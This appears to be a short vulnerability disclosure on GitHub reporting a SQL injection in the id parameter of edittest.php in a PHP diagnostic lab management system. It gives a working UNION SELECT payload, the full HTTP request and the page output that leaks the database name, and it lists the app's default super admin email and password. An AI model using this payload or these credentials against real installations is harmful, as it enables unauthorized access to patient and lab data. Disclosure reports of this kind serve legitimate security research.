

main

...

bug\_report / vendors / mayuri\_k / online-diagnostic-lab-management-system / SQLi-1.md



TGAyouman Create SQLi-1.md

History

1 contributor

31 lines (21 sloc) | 1.13 KB

...

# Online Diagnostic Lab Management System v1.0 by mayuri\_k has SQL injection

BUG\_Author: Via

Login account: [mayuri.infospace@gmail.com](mailto:mayuri.infospace@gmail.com)/rootadmin (Super Admin account)

vendors: <https://www.sourcecodester.com/php/15667/online-diagnostic-lab-management-system-using-php-and-mysql-free-download.html>

The program is built using the xampp-php8.1 version

Vulnerability File: /diagnostic/edittest.php?id=

Vulnerability location: /diagnostic/edittest.php?id=, id

dbname = diagnostic

[+] Payload: /diagnostic/edittest.php?

id=-1%27%20union%20select%201,database(),3,4,5,6,7,8,9--+ // Leak place ---> id

GET /diagnostic/edittest.php?id=-1%27%20union%20select%201,database(),3,4,5,6,7,8,9-

Host: 192.168.1.88

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Cookie: PHPSESSID=flklolh755oivesj89eu5fo2c7

Connection: close

HOME

- Dashboard
- Client >
- Test Categories >
- Test >
- Invoices >
- Reports
- Setting >
- Know More
- Advance Version

Test Name: diagnostic

Quantity: 6

Rate: 7

Test Category Name: Blood

Status: Available

Update